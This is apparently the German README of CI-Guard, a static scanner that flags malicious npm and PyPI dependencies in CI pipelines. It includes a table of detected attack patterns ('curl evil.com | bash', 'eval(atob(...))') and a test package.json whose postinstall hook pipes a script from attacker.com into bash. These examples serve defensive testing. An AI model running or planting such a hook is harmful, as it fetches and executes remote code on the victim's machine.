Statisches Analysewerkzeug, das bösartige Abhängigkeiten in CI/CD-Pipelines mittels Musterabgleich und AST-Analyse erkennt, mit einem Ampel-Risikobewertungssystem und optionaler Docker-Sandbox-Verifikation.
Ein statisches Analysetool zur Erkennung bösartiger Abhängigkeiten in CI/CD-Pipelines, bevor sie in Ihre Codebasis eingefügt werden.
Autor: Otsmane Ahmed
Status: Forschungsprototyp v1.0
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. Scan a package directory
python3 main_guard.py /path/to/package
Das Tool gibt ein Urteil aus: SAFE, SUSPICIOUS oder BLOCKED.
Wenn Sie ein Paket von npm oder PyPI heruntergeladen haben und dessen Sicherheit überprüfen möchten:
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
Überprüfen Sie Pakete, die bereits in Ihrem Projekt installiert sind:
# Scan all npm packages
python3 main_guard.py ./node_modules
# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Hinweis: Das Scannen großer Verzeichnisse wie node_modules dauert länger. Für schnellere Ergebnisse scannen Sie einzelne Pakete.
Beispiel eines GitHub Actions-Workflows:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
Die Pipeline schlägt fehl (Exit-Code 1), wenn bösartiger Code erkannt wird.
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
Keine bösartigen Muster erkannt.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
Gefährliche Muster erkannt (z. B. Shell-Injection, Diebstahl von Anmeldedaten). Installieren Sie dieses Paket nicht.
Pakete mit einem Wert von 10 oder höher werden automatisch blockiert.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
Einige bedenkliche Muster gefunden. Wenn Docker läuft, wird das Paket in einer isolierten Sandbox zur Überprüfung getestet. Manuelle Überprüfung wird empfohlen.
| Angriffstyp | Beispiel | Status |
|---|---|---|
| Shell-Injection | curl evil.com | bash | Erkannt |
| Diebstahl von Anmeldedaten | Lesen von process.env und Senden an externen Server | Erkannt |
| Code-Verschleierung | eval(atob('base64...')) | Erkannt |
| Bösartige Installationsskripte | NPM-postinstall-Hooks | Erkannt |
| Binärdateien | .exe, .dll in Paketen | Erkannt |
| Typosquatting | Ähnliche Namen wie beliebte Pakete | Manuelle Überprüfung erforderlich |
Sie können CI-Guard testen, indem Sie ein Beispielpaket mit schädlichem Code erstellen:
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious
# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
Erwartete Ausgabe:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| Ökosystem | Getestete Pakete | Erkennungsrate |
|---|---|---|
| NPM | 15.059 | 89,6% |
| PyPI | 2.257 | 82,2% |
Durchschnittliche Scanzeit: 1-3 Sekunden pro Paket (nur statische Analyse)
Kann ich bereits installierte Pakete scannen?
Ja. Weisen Sie CI-Guard auf Ihr node_modules-Verzeichnis oder Python-site-packages hin:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Was passiert, wenn ein legitimes Paket markiert wird?
CI-Guard geht lieber auf Nummer sicher. Wenn Sie einem markierten Paket vertrauen:
analyzer/static_scanner.pyFunktioniert das unter Windows und macOS?
Ja. Python und Docker sind plattformübergreifend.
Muss ich Docker installiert haben?
Docker wird nur für Pakete benötigt, die zwischen 4 und 9 Punkten (verdächtig) erzielen. Die meisten Pakete sind entweder eindeutig sicher (0-3) oder eindeutig bösartig (10+).
CI-Guard verwendet ein dreistufiges „Ampel“-System:
Erkennungsmethoden:
Pull-Requests sind willkommen. So fügen Sie eine neue Erkennungsregel hinzu:
Bearbeiten Sie analyzer/static_scanner.py und fügen Sie zur RULES-Liste hinzu:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
MIT-Lizenz – siehe LICENSE-Datei für Details.
Otsmane Ahmed - GitHub